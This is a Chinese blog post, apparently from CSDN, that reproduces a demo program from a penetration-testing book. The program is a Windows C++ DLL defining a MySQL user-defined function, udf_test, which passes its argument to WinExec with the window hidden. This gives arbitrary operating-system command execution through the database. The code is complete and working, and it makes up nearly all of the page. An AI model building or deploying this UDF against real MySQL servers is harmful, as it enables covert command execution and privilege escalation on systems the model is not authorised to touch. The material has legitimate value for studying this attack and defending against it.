MySQL自定义函数的Windows版本实现

/* my.cpp
*
*《网络渗透技术》演示程序
*作者:san, alert7, eyas, watercloud
*
*MySQL自定义函数的Windows版本实现
*/

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

enum Item_result ;

typedef struct st_udf_args
{
  unsigned int arg_count; /* Number of arguments */
  enum Item_result *arg_type; /* Pointer to item_results */
  char **args;/* Pointer to argument */
  unsigned long *lengths; /* Length of string arguments */
  char *maybe_null; /* Set to 1 for all maybe_null args */
} UDF_ARGS;

  /* This holds information about the result */

typedef struct st_udf_init
{
  char maybe_null;/* 1 if function can return NULL */
  unsigned int decimals;/* for real functions */
  unsigned int max_length;/* For string functions */
  char*ptr; /* free pointer for function data */
  char const_item;/* 0 if result is independent of arguments */
} UDF_INIT;

extern "C" {
__declspec(dllexport) int udf_test(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error);
}

int udf_test(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
  if( args->arg_count != 1 )
  return 0;

  WinExec( args->args[0], SW_HIDE );
  return 0;
}
阅读更多
个人分类: 编程技术
想对作者说点什么? 我来说一句

没有更多推荐了,返回首页

加入CSDN,享受更精准的内容推荐,与500万程序员共同成长!
关闭
关闭